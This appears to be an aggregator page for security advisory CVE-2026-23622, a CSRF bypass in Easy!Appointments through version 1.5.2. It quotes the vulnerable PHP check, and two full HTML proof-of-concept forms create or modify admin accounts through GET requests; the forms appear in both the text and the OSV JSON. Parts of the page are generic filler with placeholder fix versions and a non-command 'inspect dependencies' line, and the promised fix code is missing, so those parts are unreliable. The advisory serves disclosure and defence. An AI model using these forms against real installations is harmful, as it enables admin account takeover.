CVE-2026-23622: Alextselegidis/easyappointments Alextselegidis/easyappointments Is Vulnerable To CSRF Vulnerability
HIGH
Advisory Identifier:
GHSA-54v4-4685-vwrj
CWE-352
Published
Advisory Summary
CVE-2026-23622 is a HIGH alextselegidis/easyappointments is vulnerable to csrf vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Alextselegidis/easyappointments libraries in the Packagist ecosystem. The issue involves alextselegidis/easyappointments is vulnerable to csrf protection bypass. Remediation is available in the latest vendor maintenance releases.
CVE-2026-23622 at a Glance
CVE Identifier
CVE-2026-23622
GHSA Identifier
GHSA-54v4-4685-vwrj
Severity
HIGH
CVSS v3.1 Base Score
N/A
CWE Classification
CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product
Alextselegidis/easyappointments
Package Ecosystem
Packagist
Published Date
Last Updated
How to Fix CVE-2026-23622
To remediate this vulnerability, upgrade all affected Alextselegidis/easyappointments dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
alextselegidis/easyappointments
fixed: Latest secure release
Upgrade alextselegidis/easyappointments to Latest secure release
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for alextselegidis/easyappointmentsHow to Check if You Are Affected
To determine whether your application is affected by CVE-2026-23622, inspect your project dependencies for Alextselegidis/easyappointments:
inspect dependencies for alextselegidis/easyappointmentsAnalyze the terminal output to locate any version of Alextselegidis/easyappointments in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Alextselegidis/easyappointments, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
`application/core/EA_Security.php::csrf_verify()` only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover
### Details
in https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52
* **Repository / tested commit:** `alextselegidis/easyappointments` — commit `41c9b93a5a2c185a914f204412324d8980943fd5`.
* **Vulnerable file & function:** `application/core/EA_Security.php::csrf_verify()` — around line 52. Link: `.../application/core/EA_Security.php#L52`.
* **Root cause:** The function early-returns when the request is not `POST`:
```php
// vulnerable snippet
if (strtoupper($_SERVER['REQUEST_METHOD']) !== 'POST') {
return $this->csrf_set_cookie();
}
```
Because of this, non-POST requests (GET/PUT/DELETE/etc.) never reach token validation. When application controllers accept state-changing parameters via `GET` or `$_REQUEST`, these requests bypass CSRF checks entirely and the application executes the state change.
* **Examples of vulnerable endpoints (observed during testing):**
* `index.php/admins/store` — create admin (accepts fields via GET)
* `index.php/admins/update` — modify admin (accepts fields via GET)
* `index.php/account/save` — modify account/password (accepts fields via GET)
* **Why this is critical:** An attacker can host a simple page that issues requests (e.g., `<form method="GET" action="...">` or an auto-submitting form). If an authenticated admin visits that page, the attacker can create an admin account, change admin email, or change password—enabling account takeover and full compromise of the application instance.
### PoC
I will attach video proof showing how I add an admin via CSRF. Below are reproducible PoC artifacts and steps to reproduce locally
https://github.com/user-attachments/assets/3fea1034-c479-43d9-9c40-86f8ba0b33c1
**Browser PoC (HTML)**
Save one of the HTML files (example `csrf_add_admin_account.html`) on an attacker server and visit it with a browser where the admin is logged into Easy!Appointments:
```html
<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/store">
<input type="hidden" name="admin[first_name]" value="admin_add_by_csrf">
<input type="hidden" name="admin[last_name]" value="poc">
<input type="hidden" name="admin[email]" value="poc@gmail.com">
<input type="hidden" name="admin[mobile_number]" value="">
<input type="hidden" name="admin[phone_number]" value="0923092">
<input type="hidden" name="admin[address]" value="">
<input type="hidden" name="admin[city]" value="">
<input type="hidden" name="admin[state]" value="">
<input type="hidden" name="admin[zip_code]" value="">
<input type="hidden" name="admin[notes]" value="">
<input type="hidden" name="admin[language]" value="english">
<input type="hidden" name="admin[timezone]" value="UTC">
<input type="hidden" name="admin[settings][username]" value="admincsrf1">
<input type="hidden" name="admin[settings][notifications]" value="1">
<input type="hidden" name="admin[settings][calendar_view]" value="table">
<input type="hidden" name="admin[settings][password]" value="changeme">
<input type="submit" value="Submit request">
</form>
</body>
</html>
```
another example for another endpoint
`csrf_change_admin_email.html`
```html
<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/update">
<input type="hidden" name="admin[first_name]" value="test">
<input type="hidden" name="admin[last_name]" value="cve">
<input type="hidden" name="admin[email]" value="test1@cve.com">
<input type="hidden" name="admin[mobile_number]" value="">
<input type="hidden" name="admin[phone_number]" value="0101900">
<input type="hidden" name="admin[address]" value="">
<input type="hidden" name="admin[city]" value="">
<input type="hidden" name="admin[state]" value="">
<input type="hidden" name="admin[zip_code]" value="">
<input type="hidden" name="admin[notes]" value="">
<input type="hidden" name="admin[language]" value="english">
<input type="hidden" name="admin[timezone]" value="UTC">
<input type="hidden" name="admin[settings][username]" value="testn">
<input type="hidden" name="admin[settings][notifications]" value="1">
<input type="hidden" name="admin[settings][calendar_view]" value="default">
<input type="hidden" name="admin[id]" value="1">
<input type="submit" value="Submit request">
</form>
</body>
</html>
```
### Suggested remediation (recommended)
Provide two practical remediation paths mmediate and long-term:
**Immediate (urgent, low-effort):** Enforce CSRF checks for all methods and do not skip validation for non-POST. Minimal core fix:
This closes the common bypass route while keeping read-only GET behavior intact.
**Stricter immediate option (no-bypass):** Require a valid CSRF token for **all** methods (including GET) unless the URI is explicitly whitelisted in `csrf_exclude_uris`. This prevents GET-based bypass even if controllers remain unchanged but may require updates to legitimate GET consumers.
**Long-term (recommended, correct fix):**
1. **Controller hardening:** Update controllers so all state-changing actions accept only the proper HTTP method (POST/PUT/DELETE) .
2. **Require re-authentication or confirmation** for critical operations (email/password changes).
3. **Set cookie flags**: `SameSite`, `Secure`, and `HttpOnly` as appropriate.
### Impact
* **Type:** Cross-Site Request Forgery (CSRF) allowing account takeover / privilege escalation.
* **Who is impacted:** Any deployment of Easy!Appointments using the vulnerable code where administrative or sensitive endpoints accept GET or use `$_REQUEST` (what i found is almost every endpoint work with GET and POST). Logged-in administrator users are at greatest risk.
* **Consequences:** An attacker can create administrative accounts, change administrator emails/passwords (leading to password reset abuse), and fully compromise application instances and data.
CVE-2026-23622 Affected Alextselegidis/easyappointments Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
alextselegidis/easyappointments
|
Packagist |
≤ 1.5.2
|
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj
NVD — CVE-2026-23622
NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-23622
Alextselegidis/easyappointments Source Repository
REPOSITORY
https://github.com/alextselegidis/easyappointments
Alextselegidis/easyappointments Source Repository
REPOSITORY
https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52
Frequently Asked Questions
What is CVE-2026-23622?
CVE-2026-23622 is a security vulnerability in Alextselegidis/easyappointments involving alextselegidis/easyappointments is Vulnerable to CSRF Protection Bypass under CWE-352: Cross-Site Request Forgery (CSRF).
Which Alextselegidis/easyappointments versions are affected?
Affected versions include releases prior to current release patches across affected packages: alextselegidis/easyappointments.
What version fixes CVE-2026-23622?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is alextselegidis/easyappointments affected?
Yes, alextselegidis/easyappointments is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2026-23622?
CVE-2026-23622 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check Packagist dependencies for CVE-2026-23622?
Run the dependency tree command: 'inspect dependencies for alextselegidis/easyappointments'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-54v4-4685-vwrj",
"modified" : "2026-01-15T22:34:15Z",
"published" : "2026-01-15T20:11:23Z",
"aliases" : [ "CVE-2026-23622" ],
"summary" : "alextselegidis/easyappointments is Vulnerable to CSRF Protection Bypass",
"details" : "### Summary\n`application/core/EA_Security.php::csrf_verify()` only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover\n\n### Details\n\nin https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52\n\n* **Repository / tested commit:** `alextselegidis/easyappointments` — commit `41c9b93a5a2c185a914f204412324d8980943fd5`.\n* **Vulnerable file & function:** `application/core/EA_Security.php::csrf_verify()` — around line 52. Link: `.../application/core/EA_Security.php#L52`.\n* **Root cause:** The function early-returns when the request is not `POST`:\n\n```php\n// vulnerable snippet\nif (strtoupper($_SERVER['REQUEST_METHOD']) !== 'POST') {\n return $this->csrf_set_cookie();\n}\n```\n\nBecause of this, non-POST requests (GET/PUT/DELETE/etc.) never reach token validation. When application controllers accept state-changing parameters via `GET` or `$_REQUEST`, these requests bypass CSRF checks entirely and the application executes the state change.\n\n* **Examples of vulnerable endpoints (observed during testing):**\n\n * `index.php/admins/store` — create admin (accepts fields via GET)\n * `index.php/admins/update` — modify admin (accepts fields via GET)\n * `index.php/account/save` — modify account/password (accepts fields via GET)\n\n* **Why this is critical:** An attacker can host a simple page that issues requests (e.g., `<form method=\"GET\" action=\"...\">` or an auto-submitting form). If an authenticated admin visits that page, the attacker can create an admin account, change admin email, or change password—enabling account takeover and full compromise of the application instance.\n\n\n### PoC\nI will attach video proof showing how I add an admin via CSRF. Below are reproducible PoC artifacts and steps to reproduce locally \n\nhttps://github.com/user-attachments/assets/3fea1034-c479-43d9-9c40-86f8ba0b33c1\n\n**Browser PoC (HTML)**\nSave one of the HTML files (example `csrf_add_admin_account.html`) on an attacker server and visit it with a browser where the admin is logged into Easy!Appointments:\n\n```html\n<html>\n<body>\n<form method=\"GET\" action=\"http://localhost:80/easyappointments/index.php/admins/store\">\n <input type=\"hidden\" name=\"admin[first_name]\" value=\"admin_add_by_csrf\">\n <input type=\"hidden\" name=\"admin[last_name]\" value=\"poc\">\n <input type=\"hidden\" name=\"admin[email]\" value=\"poc@gmail.com\">\n <input type=\"hidden\" name=\"admin[mobile_number]\" value=\"\">\n <input type=\"hidden\" name=\"admin[phone_number]\" value=\"0923092\">\n <input type=\"hidden\" name=\"admin[address]\" value=\"\">\n <input type=\"hidden\" name=\"admin[city]\" value=\"\">\n <input type=\"hidden\" name=\"admin[state]\" value=\"\">\n <input type=\"hidden\" name=\"admin[zip_code]\" value=\"\">\n <input type=\"hidden\" name=\"admin[notes]\" value=\"\">\n <input type=\"hidden\" name=\"admin[language]\" value=\"english\">\n <input type=\"hidden\" name=\"admin[timezone]\" value=\"UTC\">\n <input type=\"hidden\" name=\"admin[settings][username]\" value=\"admincsrf1\">\n <input type=\"hidden\" name=\"admin[settings][notifications]\" value=\"1\">\n <input type=\"hidden\" name=\"admin[settings][calendar_view]\" value=\"table\">\n <input type=\"hidden\" name=\"admin[settings][password]\" value=\"changeme\">\n <input type=\"submit\" value=\"Submit request\">\n</form>\n</body>\n</html>\n```\n\nanother example for another endpoint\n\n`csrf_change_admin_email.html`\n\n```html\n<html>\n<body>\n<form method=\"GET\" action=\"http://localhost:80/easyappointments/index.php/admins/update\">\n <input type=\"hidden\" name=\"admin[first_name]\" value=\"test\">\n <input type=\"hidden\" name=\"admin[last_name]\" value=\"cve\">\n <input type=\"hidden\" name=\"admin[email]\" value=\"test1@cve.com\">\n <input type=\"hidden\" name=\"admin[mobile_number]\" value=\"\">\n <input type=\"hidden\" name=\"admin[phone_number]\" value=\"0101900\">\n <input type=\"hidden\" name=\"admin[address]\" value=\"\">\n <input type=\"hidden\" name=\"admin[city]\" value=\"\">\n <input type=\"hidden\" name=\"admin[state]\" value=\"\">\n <input type=\"hidden\" name=\"admin[zip_code]\" value=\"\">\n <input type=\"hidden\" name=\"admin[notes]\" value=\"\">\n <input type=\"hidden\" name=\"admin[language]\" value=\"english\">\n <input type=\"hidden\" name=\"admin[timezone]\" value=\"UTC\">\n <input type=\"hidden\" name=\"admin[settings][username]\" value=\"testn\">\n <input type=\"hidden\" name=\"admin[settings][notifications]\" value=\"1\">\n <input type=\"hidden\" name=\"admin[settings][calendar_view]\" value=\"default\">\n <input type=\"hidden\" name=\"admin[id]\" value=\"1\">\n <input type=\"submit\" value=\"Submit request\">\n</form>\n</body>\n</html>\n```\n\n### Suggested remediation (recommended)\n\nProvide two practical remediation paths mmediate and long-term:\n\n**Immediate (urgent, low-effort):** Enforce CSRF checks for all methods and do not skip validation for non-POST. Minimal core fix:\n\nThis closes the common bypass route while keeping read-only GET behavior intact.\n\n**Stricter immediate option (no-bypass):** Require a valid CSRF token for **all** methods (including GET) unless the URI is explicitly whitelisted in `csrf_exclude_uris`. This prevents GET-based bypass even if controllers remain unchanged but may require updates to legitimate GET consumers.\n\n**Long-term (recommended, correct fix):**\n\n1. **Controller hardening:** Update controllers so all state-changing actions accept only the proper HTTP method (POST/PUT/DELETE) .\n2. **Require re-authentication or confirmation** for critical operations (email/password changes).\n3. **Set cookie flags**: `SameSite`, `Secure`, and `HttpOnly` as appropriate.\n\n\n### Impact\n\n* **Type:** Cross-Site Request Forgery (CSRF) allowing account takeover / privilege escalation.\n* **Who is impacted:** Any deployment of Easy!Appointments using the vulnerable code where administrative or sensitive endpoints accept GET or use `$_REQUEST` (what i found is almost every endpoint work with GET and POST). Logged-in administrator users are at greatest risk.\n* **Consequences:** An attacker can create administrative accounts, change administrator emails/passwords (leading to password reset abuse), and fully compromise application instances and data.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "alextselegidis/easyappointments"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "1.5.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23622"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/alextselegidis/easyappointments"
}, {
"type" : "WEB",
"url" : "https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-352" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-15T20:11:23Z",
"nvd_published_at" : "2026-01-15T20:16:05Z"
}
}